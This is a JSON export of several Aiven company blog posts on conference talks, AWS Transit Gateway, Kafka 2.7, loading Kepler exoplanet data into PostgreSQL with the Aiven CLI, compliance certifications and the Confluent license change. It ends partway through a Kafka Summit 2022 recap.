{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6wNuBa5mVCXWjYsdJwN4D8","_rev":"YI3rks3mbRtnzMpdmuuDbY","_type":"post","_updatedAt":"2022-11-15T09:31:08Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"Part of our team spent this week in New York and Jersey City attending\nevents and meeting our customers and partners in the area. The main event\nfor our visit was the PostgresConf US 2018 conference in Jersey City just\nacross te Hudson river from Manhattan.\n\n[![Oskari Saarenmaa talking about data pipelines with PostgreSQL and Apache Kafka](//cdn.sanity.io/images/sczeoy4w/production/05f9c553c9c1f1a55bff4c5147a382699b33fed4-1500x930.jpg)](//cdn.sanity.io/images/sczeoy4w/production/05f9c553c9c1f1a55bff4c5147a382699b33fed4-1500x930.jpg)\n\nThe conference gave us a good opportunity to network and catch up with our\ncustmers and partners as well as new contacts. We also gave two talks at\nthe event which centered around connecting PostgreSQL with other open source\ntools, namely Apache Kafka. The talks we gave were:\n\n* [Data pipelines with PostgreSQL and Kafka](https://postgresconf.org/conferences/2018/program/proposals/building-data-pipelines-with-postgresql-and-kafka) - Oskari Saarenmaa\n* [Change data capture for a brave new world](https://postgresconf.org/conferences/2018/program/proposals/change-data-capture-for-a-brave-new-world) - Hannu Valtonen\n\n[![Hannu Valtonen talking about change data capture for a brave new world](//cdn.sanity.io/images/sczeoy4w/production/2942ecc9ebc7164301a12d511725066f9aacdd89-1500x909.jpg)](//cdn.sanity.io/images/sczeoy4w/production/2942ecc9ebc7164301a12d511725066f9aacdd89-1500x909.jpg)\n\nWe had a great audience for both talks and lively discussion following them.\nThe key points from our talks include:\n\n* Apache Kafka as the central piece of your data pipeline creates a clean architecture and helps avoid the giant, fragile mess of point-to-point connections\n* PostgreSQL is a versatile RDBMS suitable for many different workloads with a huge ecosystem of robust tools and extensions\n* SQL is more relevant than ever before, it has outlasted its competition and is the universal language for data access, start using it in more systems\n\nSlides for both talks are now available on GitHub\n[here](https://github.com/aiven/presentations/tree/master/PostgresConf%20US%202018),\nplease see them for more information on combining PostgreSQL and Kafka.\n\nOver the coming months we'll be talking about these topics in more events\naround the world, including Kafka Summit in London next week and the OSS\nSummit in Japan in June. Other upcoming events and updates will be posted\nhere, so be sure to follow us on\n[Twitter](https://twitter.com/aiven_io) and join our\n[blog](https://aiven.io/blog/feed.xml) and\n[changelog](https://aiven.io/changelog/feed.xml) RSS\nfeeds!\n","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2018-04-20T00:00:00.000Z","seo":{"metaDescription":"We visited New York and New Jersey this week to meet partners and speak in PostgresConf US in Jersey City.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven talks in PostgresConf US 2018"},"slug":{"_type":"slug","current":"/blog/aiven-talks-in-postgresconf-us-2018"},"subtitle":"We visited New York and New Jersey this week to meet partners and speak in PostgresConf US in Jersey City.","title":"Aiven talks in PostgresConf US 2018"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"7pPPWL2R9JeqibNH0wFF2I","_rev":"CK1sLU2mnwa3vmbYWEcKX5","_type":"post","_updatedAt":"2022-09-08T16:22:05Z","authors":[{"_key":"7Hxte8tqh1KGbCYCQOPHsP","_ref":"7Hxte8tqh1KGbCYCQOPHsP","_type":"reference"}],"body":"Running your application infrastructure in AWS and using VPCs? Then you’ll understand how quickly the complexity can build as you add and manage multiple ones. What if you want to connect VPCs in different clouds or even an on-prem environment? You can’t out-of-the-box.\n\nLuckily, there is AWS Transit Gateway (TGW). Even better, __you can now connect your Aiven project VPCs to it in the Aiven Console and CLI.__ We’ll cover how to set it up using the Aiven CLI here; but before we do, let’s dive a little deeper into the specific problems TGW can solve.\n\n## The problems AWS Transit Gateway solves\n\n### Reducing private network complexity\n\nAs your private networking needs evolve, so will their complexity. For example, let’s say you want to peer three VPCs with one another. At this stage, you only need to configure and maintain 3 connections. But the complexity quickly exponentiates with each additional VPC.\n\nWith AWS TGW, you connect your VPCs through what effectively acts as a network router. Your private network topology will resemble a streamlined hub and spoke architecture instead of a disordered, spaghetti-like mesh network that becomes increasingly difficult to manage. \n\n### Peering VPCs across hosts\n\nWith standard VPC networking, you could peer among your VPCs inter-regionally. However, what if you want or are already pursuing a multi-cloud strategy and need to peer networks across cloud providers? What about a hybrid, on-premise / off-premise setup? Simply put: can’t do it.\n\nWhether you want to peer networks hosted in different cloud regions outside of AWS or an on-premise setup, you can do that with the Transit Gateway. For instance, you simply mediate the connection between your on-prem and AWS hosted VPCs via TGW and your VPN.\n\n## How to attach an Aiven VPC to TGW with CLI \n\nAs noted above, you can attach an Aiven VPC to Transit Gateway via the Aiven Console and CLI. Soon, you'll also be able to perform the task using our [Terraform provider](https://github.com/aiven/terraform-provider-aiven). Let's go ahead and run through the attachment steps using the Aiven CLI.\n\nBefore you attach anything to AWS Transit Gateway, you must first [set up a VPC in Aiven](https://help.aiven.io/en/articles/778836-using-vpc-peering). After this, install the [Aiven CLI](https://github.com/aiven/aiven-client) and follow the simple 6-step tutorial below.\n\n1. Locate your AWS account and Transit Gateway IDs\n2. Share the Transit Gateway with the Aiven AWS account\n3. Find your Project VPC ID\n4. Determine the IP ranges to route from the Project VPC to the Transit Gateway\n5. Create Aiven peering connection request to a TGW attachment\n6. Accept Transit Gateway VPC attachment\n\n## Wrapping up\n\nBy connecting your Aiven project VPCs with your others through AWS TGW, you’ll simplify and streamline the management and control of your private network architecture. Together with our [AWS CloudWatch integration](/blog/aiven-now-integrates-with-aws-cloudwatch-and-google-cloud-logging), you can more easily incorporate Aiven into your AWS workflows.\n\nTo get pricing information, check out our pricing page [here](/pricing) — just remember that pricing varies by region, so select AWS and the region you want it in. In the meantime, follow our [blog](https://aiven.io/blog/feed.xml \"Link to blog rss feed\") and [changelog](https://aiven.io/changelog/feed.xml \"Link to changelog rss feed\") RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0f1afaa71526d80e3856b925c0fca46c519cd8df-1200x646-jpg","_type":"reference"}},"publishedAt":"2020-07-22T00:00:00.000Z","seo":{"metaDescription":"Aiven customers can now connect their VPCs to AWS Transit Gateway. Find out what kinds of problem it solves and how to set it up in this post.","metaImage":{"alt":"","asset":{"_ref":"image-0f1afaa71526d80e3856b925c0fca46c519cd8df-1200x646-jpg","_type":"reference"}},"metaTitle":"AWS Transit Gateway now available for Aiven"},"slug":{"_type":"slug","current":"/blog/aws-transit-gateway-now-available-for-aiven"},"subtitle":"Aiven customers can now connect their VPCs to AWS Transit Gateway. Find out what kinds of problem it solves and how to set it up in this post.","title":"AWS Transit Gateway now available for Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"71D5OOCFYVMNYmzCRE10C9","_rev":"cEPH2uRN58AU2lp9QO80uv","_type":"post","_updatedAt":"2022-09-08T16:23:54Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Aiven is keeping up with the times and releases support for [Apache Kafka version 2.7](https://blogs.apache.org/kafka/entry/what-s-new-in-apache4 \"What's new in Apache Kafka 2.7.0\"), announced on December 21, 2020. The new version comes with a number of enhancements across the board, including security updates and performance improvements. Read on to find out what the new version means for you.\n## Apache Kafka 2.7 highlights\n### PEM support\n__[KIP-651](https://cwiki.apache.org/confluence/display/KAFKA/KIP-651+-+Support+PEM+format+for+SSL+certificates+and+private+key \"Link to improvement proposal\"): Support PEM format for private keys and SSL certificates__\n\nPEM format is now supported for storing and distributing cryptographic keys. New configuration options ssl.keystore.key, ssl.keystore.certificate.chain and ssl.truststore.certificates were added to support the new format. \n### Performance optimisations\n__[KIP-612](https://cwiki.apache.org/confluence/display/KAFKA/KIP-612%3A+Ability+to+Limit+Connection+Creation+Rate+on+Brokers \"Link to improvement proposal\"), part 1: Ability to limit connection creation rate on brokers__\n\nIf too many new connections are created simultaneously, it can significantly reduce broker performance. To solve this issue, version 2.7.0 adds a new configuration option max.connection.creation.rate limiting the acceptable amount of new connections for a broker.\n\nVersion 2.7.0 provides a partial solution to the problem - more improvements are coming in future releases.\n\n__[KIP-599](https://cwiki.apache.org/confluence/display/KAFKA/KIP-599%3A+Throttle+Create+Topic%2C+Create+Partition+and+Delete+Topic+Operations \"Link to improvement proposal\"): Throttle create topic, create partition, and delete topic operations__\n\nCreating or deleting a large number of concurrent topics may hurt controller performance. Therefore the number of requests for these resource demanding operations is limited with a new quota in this version. Requests exceeding this limit are rejected with the error THROTTLING_QUOTA_EXCEED.\n\n__[KIP-450](https://cwiki.apache.org/confluence/display/KAFKA/KIP-450%3A+Sliding+Window+Aggregations+in+the+DSL \"Link to improvement proposal\"): Kafka Streams - Sliding window aggregations in the DSL__\n\nSliding window aggregation allows Kafka Streams applications to capture the most recent updates in a stream at a given point of time. It provides a more efficient way to do these types of aggregations than currently used hopping window aggregation.\n### Getting rid of ZooKeeper dependencies\n__[KIP-497](https://cwiki.apache.org/confluence/display/KAFKA/KIP-497%3A+Add+inter-broker+API+to+alter+ISR \"Link to improvement proposal\"): Add inter-broker API to alter ISR__\n\nWith a new AlterIsr API, only controllers can now update the Leader and ISR state. Leaders can no longer mutate the state directly. This solves some problems with delayed and inconsistent ISR state and - most importantly - helps to eventually replace ZooKeeper with a self-managed metadata quorum.\n\n__[KIP-554](https://cwiki.apache.org/confluence/display/KAFKA/KIP-554%3A+Add+Broker-side+SCRAM+Config+API \"Link to improvement proposal\"): Add broker-side SCRAM configuration API__\n\nNew broker-based API to change SCRAM settings for users. It is no longer necessary to use ZooKeeper for making these changes, hence this improvement also plays part in a bigger effort to remove ZooKeeper.\n\nThe list above is only the tip of the iceberg. For this release, there are over 50 smaller improvements and 90+ bug fixes. Please check the details [here](https://archive.apache.org/dist/kafka/2.7.0/RELEASE_NOTES.html \"Kafka 2.7 release notes\").\n## How to get started with Aiven for Apache Kafka 2.7\nYou can either launch a brand new cluster in the [Aiven console](https://console.aiven.io/ \"Console main page\") or [conduct a no-downtime upgrade to the latest version](https://help.aiven.io/en/articles/1529490-kafka-cluster-upgrades \"Help article about upgrading Kafka clusters\"). \n## Wrapping up\nIf you are not already using Aiven’s managed Apache Kafka, maybe you should be! Get started at our [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka product page\") product page.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6f79f3e24053e6c3276045b4c0bac4fd74e10c28-1567x844-png","_type":"reference"}},"publishedAt":"2021-01-21T00:00:00.000Z","seo":{"metaDescription":"Aiven for Apache Kafka moves to version 2.7. Read to find out what the key improvements in the new version are and how you can get in on the action.","metaImage":{"alt":"","asset":{"_ref":"image-6f79f3e24053e6c3276045b4c0bac4fd74e10c28-1567x844-png","_type":"reference"}},"metaTitle":"Aiven supports Apache Kafka® 2.7"},"slug":{"_type":"slug","current":"/blog/aiven-supports-apache-kafka-2-7"},"subtitle":"Aiven for Apache Kafka moves to version 2.7. Read to find out what the key improvements in the new version are and how you can get in on the action.","title":"Aiven supports Apache Kafka® 2.7"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5HvSGI64xMitqiheeX6a66","_rev":"V5UdSzFEWrLT7ZlMFOAdVJ","_type":"post","_updatedAt":"2023-08-03T10:37:12Z","authors":[{"_key":"3gXeb4zb5wJU5CvLnVioH","_ref":"3gXeb4zb5wJU5CvLnVioH","_type":"reference"}],"body":"[PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\") is and remains one of our most popular and growing storage platforms; other storage technologies come and go but modern Postgres is a solid choice for so many applications. When you spin up your first Aiven PostgreSQL, you'll want to take some time to play with the features ... but there's a problem. Your new shiny database is empty.\n\nFinding and using some open datasets is a great way to fill this gap, and one option is go try the [Kaggle](https://www.kaggle.com/) platform. It's a place to find open data, advice about data science, and some competitions you can participate in to hone your skills. There's quite a selection of datasets to choose from, but today we'll be using the [exoplanets data](https://www.kaggle.com/nasa/kepler-exoplanet-search-results) from the Kepler mission. You'll need a (free) account to log in and download the data. Go ahead and extract the zip file too, we'll be using `cumulative.csv` for the example in this post.\n\nHere's the process in brief:\n- [Get started with Aiven](#get-started-with-aiven)\n- [Create PostgreSQL service](#create-postgresql-service)\n- [Adding CSV data to PostgreSQL](#adding-csv-data-to-postgresql)\n- [Dreaming of Exoplanets](#dreaming-of-exoplanets)\n\n## Get started with Aiven\n\nIf you are not already an Aiven user, you can [sign up for an Aiven account](https://console.aiven.io/signup) to follow the steps in this post - we will wait for you!\n\nWe will also be using the [Aiven CLI](https://github.com/aiven/aiven-client). This tool requires Python 3.6 or later, and can be installed from PyPI:\n\n```\npip install aiven-client\n```\n\nYou will also need to authenticate your Aiven account against the CLI tool. Replace your own details in the command below:\n\n```\navn user login \u003cemail@example.com\u003e\n```\n\nYou have everything you need to create an Aiven database in the cloud.\n\n## Create PostgreSQL service\n\nA good first step for a new project is to create a project to keep the services in. All it needs is a name:\n\n```\navn project create exoplanets\n```\n\nAiven offers many options when creating services but to get us going quickly, we'll use the newest postgres available and the smallest package, called hobbyist. One of the most fun things though is being able to choose any cloud platform you like so take a moment to check the list and copy the `CLOUD_NAME` field of your favorite:\n\n```\navn cloud list\n```\n\nI chose `google-europe-west1` for my example, but you can replace that with the cloud you chose. Here is the command to run to create the postgres database:\n\n```\navn service create -t pg -p hobbyist --cloud google-europe-west1 pg-exoplanets\n```\n\nIt takes a few minutes for the node to be ready, but the Aiven CLI has a handy \"wait\" command that doesn't return until the service is ready to talk to us. This is less critical when we're running the commands by hand as we do here, but it's super useful when your CI system is spinning up the data platforms by itself!\n\n```\navn service wait\n```\n\nWhen the command returns, our PostgreSQL cluster is ready to use. Let's create a database to hold the sample data; the command below creates one named \"exoplanets\":\n\n```\navn service database-create --dbname exoplanets pg-exoplanets\n```\n\nNow we have our own sad and empty database, let's look at the sample data and get it imported.\n\n## Adding CSV data to PostgreSQL\n\nPostgreSQL has built-in support for importing CSV data into an existing table, but we don't have the table structure, just a CSV. Luckily there's a tool for that - [ddlgenerator](https://github.com/catherinedevlin/ddl-generator) is another Python commandline tool.\n\nHere's how to install the `ddlgenerator` tool and then generate the `CREATE TABLE` statement from the CSV we downloaded earlier:\n\n```\npip install ddlgenerator\nddlgenerator postgres cumulative.csv \u003e create.sql\n```\n\nHave a look inside the file and you will see that we have the structure we need to explain to PostgreSQL how to hold the data. The `avn service cli` command will give us a `psql` prompt on the new database:\n\n```\navn service cli pg-exoplanets\n```\n\nFrom within `psql` we can connect to the database we created, and then run the SQL file to create the table structure:\n\n```\n\\c exoplanets\n\\i create.sql\n```\n\nAdding the final piece to the puzzle, and still from the `psql` prompt, the next command brings in the CSV data:\n\n```\n\\copy cumulative from data/cumulative.csv csv header\n```\n\nNice work! The `cumulative` table should now have some data for you to play with!\n\n## Dreaming of Exoplanets\n\nNow you have a database full of measurements of exoplanets taken by the Kepler Space Telescope. If you're not already familiar with the project, the [NASA mission page](https://www.nasa.gov/mission_pages/kepler/overview/index.html) is worth a read. The mission went into a second phase when one of the controls failed, which serves to remind us that engineering systems we can see and touch, or at least ssh into, is much easier gig than operating in space!\n\nYou can explore the dataset, which describes observations and compares the Kepler assessment of each exoplanet with its official status in the pre-existing literature. For example, try this to see the false-positives identified by Kepler:\n\n```sql\nselect kepler_name, koi_pdisposition from cumulative where koi_disposition = 'CONFIRMED' and koi_pdisposition = 'FALSE POSITIVE';\n```\n\nYou can also connect this data to other tools to use the dataset further. Either grab the connection details from the web console, or use [jq](https://stedolan.github.io/jq/) with `avn` for a one-liner:\n\n```\navn service get pg-exoplanets --json | jq \".service_uri\"\n```\n\n## Wrapping up\n\nGood cloud experimentation practice suggests that if you've finished with your exoplanets database, you can delete it:\n\n```\navn service terminate pg-exoplanets\n```\n\nFor even more fun and learning, how about one of these resources:\n\n* [Kaggle Open Datasets](https://www.kaggle.com/datasets) in case you don't fancy exoplanets, there are some excellent alternatives here\n* In our documentation you can find [instructions for migrating your existing PostgreSQL to Aiven](https://help.aiven.io/en/articles/4358591-postgresql-migration-to-aiven)\n* More about the [Aiven CLI, `avn`](https://github.com/aiven/aiven-client#aiven-client-)\n* Need more PostgreSQL? Check out our [introduction to PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql) post\n* Go on to [connect to your Aiven for PostgreSQL service](https://aiven.io/blog/aiven-for-postgresql-for-your-go-application \"use Go to Aiven for PostgreSQL for your Go application\")\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-56253300119a9afc63d7e6a96e3d65a29a49e9dc-1567x844-png","_type":"reference"}},"publishedAt":"2021-02-17T00:00:00.000Z","seo":{"metaDescription":"In this post, Lorna Mitchell populates an empty PostgreSQL database for testing with cool data about exoplanets. Read to learn how!","metaImage":{"alt":"","asset":{"_ref":"image-56253300119a9afc63d7e6a96e3d65a29a49e9dc-1567x844-png","_type":"reference"}},"metaTitle":"Discover exoplanets with PostgreSQL® sample data"},"slug":{"_type":"slug","current":"/blog/discover-exoplanets-with-postgresql"},"subtitle":"In this post, Lorna Mitchell populates an empty PostgreSQL database for testing with cool data about exoplanets. Read to learn how!","title":"Discover exoplanets with PostgreSQL® sample data"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"7GXomoS4krShzWGSVkIWrU","_rev":"LX2G4IZzKdBcRydHgUq6mf","_type":"post","_updatedAt":"2023-07-26T10:31:34Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Security has been hard coded into the DNA of Aiven from day one. And because of our commitment to the secure transfer and storage of customer data, earning and maintaining compliance for the most stringent standards has been a relatively smooth process for us.\n\nThese standards not only provide a verifiable seal of trust for companies looking for vendors that fit specific requirements, they also provide an opportunity for us to audit our policies and processes to ensure that we are consistently doing what we need to be doing. \n\nAfter pursuing our [ISO/IEC 27001:2013 certification](https://aiven.io/blog/aiven-earns-iso-27001-certification), we decided to focus our efforts on [SOC2 Type I attestation](https://aiven.io/blog/aiven-adds-soc2-to-list-of-security-standards), earning it in October of last year. Now, we’re happy to announce that we’ve earned SOC2 Type II attestation. Let’s quickly look at what it is.\n\n## What is SOC2 Type II and why is it important?\n\nSimply put, SOC2 Type I attests that you have the security controls in place to meet the demands expected by customers — it's an entry-point to SOC2. __Type II__ attests that you are effectively maintaining the same controls during the specific audit period.\n\nAs a rolling process, an organization trying to maintain the attestation needs to be evaluated every 6 months in perpetuity — the first of which we just completed. This makes SOC2 Type II attestation one of the most difficult compliance standards to maintain.\n\n## Wrapping up\n\nWe’ve always prided ourselves on our [security and compliance](/security-compliance) standards and are happy that they continue to be validated by the certifications and attestations we’ve successfully pursued — it's also an opportunity to make sure that we are doing everything we need to.\n\nTo stay up-to-date with the goings on at Aiven, make sure to follow our [blog](/blog/feed.xml) or [changelog](/changelog/feed.xml) RSS feeds, and follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Not yet a customer and looking for secure, performant cloud data infrastructure? [Sign up for our free, no obligation trial!](https://console.aiven.io/signup)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2mBcgNf20QQ0rW0XtSjzVs","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-51470b6f9b757b9dad3634ce71c466e0b5f76f05-752x405-png","_type":"reference"}},"publishedAt":"2020-04-06T00:00:00.000Z","seo":{"metaDescription":"SOC2 Type I is an entry point, SOC2 Type II ensures that you're continuing to do what is needed. Find out what this means for Aiven customers.","metaImage":{"alt":"","asset":{"_ref":"image-51470b6f9b757b9dad3634ce71c466e0b5f76f05-752x405-png","_type":"reference"}},"metaTitle":"Aiven adds SOC2 Type II to list of standards"},"slug":{"_type":"slug","current":"/blog/aiven-earns-soc2-type2-attestation"},"subtitle":"SOC2 Type I is an entry point, SOC2 Type II ensures that you're continuing to do what is needed. Find out what this means for Aiven customers.","title":"Aiven adds SOC2 Type II to list of standards"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5v0sd850SX3yeH6O8wX9HD","_rev":"ZgPiUE9lJ1tcRKuFnZQdFB","_type":"post","_updatedAt":"2024-07-11T09:01:18Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"On Friday December 14th, 2018, Confluent [announced](https://www.confluent.io/blog/license-changes-confluent-platform) they're changing licenses for some Confluent Platform components from the open source Apache License version 2.0 to a proprietary license. There’s no effect on Apache Kafka itself, which remains governed by Apache Software Foundation and licensed under Apache License version 2.0.\n\nWhile Aiven does utilize some of the affected components in our services, **there is no impact on your services or our ability to offer Aiven for Apache Kafka and the related additional services as they have been available before.**\n\n## License change details\n\nConfluent is changing the license for some of the components of the Confluent Platform from Apache License version 2.0 to Confluent Community License. These components include software that Aiven has offered as a service, namely Schema Registry, Kafka REST as well as JDBC, OpenSearch and S3 connectors.\n\nThe new Confluent Community License is a proprietary software license, specifically excluding *\"making available any software-as-a-service, platform-as-a-service, infrastructure-as-a-service or other similar online service that competes with Confluent products or services that provide the Software.\"*\n\nWhile the license change does apply to all future versions of the specific software, it doesn’t alter the licensing status of the components in the versions that have been released and utilized by Aiven.\n\n## Aiven for Apache Kafka services\n\nFor the time being, we will continue operate your clusters and make available Aiven services with the Apache License version 2.0 licensed versions of the components as necessary. We are committed and ready to maintain and possibly address bugs and/or security issues with the versions that we utilize.\n\nAiven is committed to providing a data platform based on open source software. We are in the process of formulating our longer term plan and actions with respect to the recent changes, and will communicate the plan in January.\n\n## Components not affected\n\nThe following components are governed by the Apache Software Foundation, and thus not affected:\n\n* Apache Kafka\n* Kafka Connect (see below for remarks on some specific connectors)\n* MirrorMaker\n\nThe following components are part of the Confluent Platform, but remain open source under the Apache License version 2.0:\n\n* Avro and JSON serializers and converters\n* Schema Registry client components\n\n## Components affected\n\nThe following add-on components are part of the Confluent Platform and are only distributed under a proprietary license starting from version 5.1 inwards:\n\n* Schema Registry\n* Kafka REST\n* Kafka Connect connectors by Confluent:\n\n * JDBC\n * OpenSearch\n * S3\n\n\n## Further reading \n\n- [Apache Kafka®: Confluent vs self-managed vs Aiven](https://aiven.io/blog/confluent-kafka-vs-apache-kafka-vs-aiven)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2018-12-18T00:00:00.000Z","seo":{"metaDescription":"Aiven is committed to an open source platform, users not affected by recent license changes by other vendors.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven statement on license changes for the Confluent Platform"},"slug":{"_type":"slug","current":"/blog/aiven-statement-on-kafka-license"},"subtitle":"Aiven is committed to an open source platform, users not affected by recent license changes by other vendors.","title":"Aiven statement on license changes for the Confluent Platform"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3BTBvRIKQJ9GNeTL0gx9hS","_rev":"4xxJDWP8Sw6o7zBrUAiHyR","_type":"post","_updatedAt":"2023-08-03T10:36:57Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Aiven takes data security very seriously. We practice what we preach in our own services, as evidenced by our existing SOC 2, ISO 27001, GDPR and HIPAA compliances. But we’re also committed to helping our customers meet their own data security requirements and protect their own customers’ data by ensuring the security of the environments we provide. \n\nTo that end, Aiven can now proudly state that we can provide fully PCI-DSS compliant environments for our customers. This much requested security standard is available for all Aiven services on AWS, GCP and Microsoft Azure. \n\nIn terms of data security and compliance, this makes us the most comprehensively covered DBaaS!\n\nSo--we’re compliant so you can be compliant. Let’s talk about why you should care.\n\n## What PCI-DSS is and why it matters\nPCI-DSS stands for Payment Card Industry Data Security Standard. This global security standard for information is designed to ensure that companies processing, storing, or transmitting payment card information maintain a secure environment and is a mandated standard for many financial applications. \n\nIt has also gained significance across all industries for companies standing up to the highest security standard as it offers good guidelines for general information security, too. Even companies who have no need to secure payment transactions can benefit from going compliant, and it’s an easy way to communicate the level of their network security for their customers.\n\nWhile PCI-DSS compliance may not be required by all customers, most of the enhancements we have implemented will result in improved levels of security for all customers.\n\n### How to get started\nIf your application requires a PCI-DSS compliant environment, reach out to sales@aiven.io to begin the process of enabling the required security options on the Aiven platform.\n\n## Wrapping up\nPCI-DSS readiness adds to Aiven’s existing compliances and is a natural step in our quest of serving our customers within the most up-to-date security frameworks required by our customers, even in the most regulated industries. Be prepared to hear similar news from us also in the future!\n\nStay up-to-date with product updates, as well as new services by subscribing to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, or follow us on [LinkedIn](https://www.linkedin.com/company/aiven/) or [Twitter](https://twitter.com/aiven_io).\n\nLooking for PCI-DSS compliant, performant, managed cloud data infrastructure? Start by signing up to a [free, no obligation trial](https://console.aiven.io/signup)!","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2mBcgNf20QQ0rW0XtSjzVs","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-2df65d7110b2a2167452894020c1878fae3c5197-1567x844-png","_type":"reference"}},"publishedAt":"2020-10-22T00:00:00.000Z","seo":{"metaDescription":"PCI-DSS compliance opens the door to even the most regulated industries to provide services securely through Aiven. Find out what this means for your business.","metaImage":{"alt":"","asset":{"_ref":"image-2df65d7110b2a2167452894020c1878fae3c5197-1567x844-png","_type":"reference"}},"metaTitle":"Aiven services are now PCI-DSS compliant"},"slug":{"_type":"slug","current":"/blog/pci-dss-announcement"},"subtitle":"PCI-DSS compliance opens the door to even the most regulated industries to provide services securely through Aiven. Find out what this means for your business.","title":"Aiven services are now PCI-DSS compliant"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"DTT8yFt8RFxS6BSiZvRdZ","_rev":"WH90lHWEK1Lnrn0DUuQgHv","_type":"post","_updatedAt":"2023-08-04T18:13:21Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"## Kafka Summit 2022 London: a recap\n\nThe event that everyone in the Apache Kafka® community was waiting for was back! [Kafka Summit 2022](https://www.kafka-summit.org/events/kafka-summit-london-2022) has been a blast with over 1500 people joining the O2 location in east London for a couple of days of workshops, talks and networking. Aiven was present with a booth and a couple of talks by our Senior Software Engineer Olena Babenko and myself, Francesco Tisiot, Developer Advocate.\n\n\u003c!-- ![Photo of the Aiven Team](aiven-ppl.jpeg) --\u003e\n\u003c!-- Contentful asset link --\u003e\n![Photo of the Aiven team](//cdn.sanity.io/images/sczeoy4w/production/dc59d11c92b382912fc0c4cc464db2fb1f2cdce4-1051x857.jpg)\n\n### The Keynote: Apache Kafka® and the modern data flow\n\nThe keynote by Jay Kreps covered how Apache Kafka fits the modern data flow, touching interesting points about it being streaming (who wants to go back to batch?), decentralised, declarative (hi Apache Flink® SQL!), developer oriented, and governed and observable. It's nice to see how different companies are evolving over the same concepts 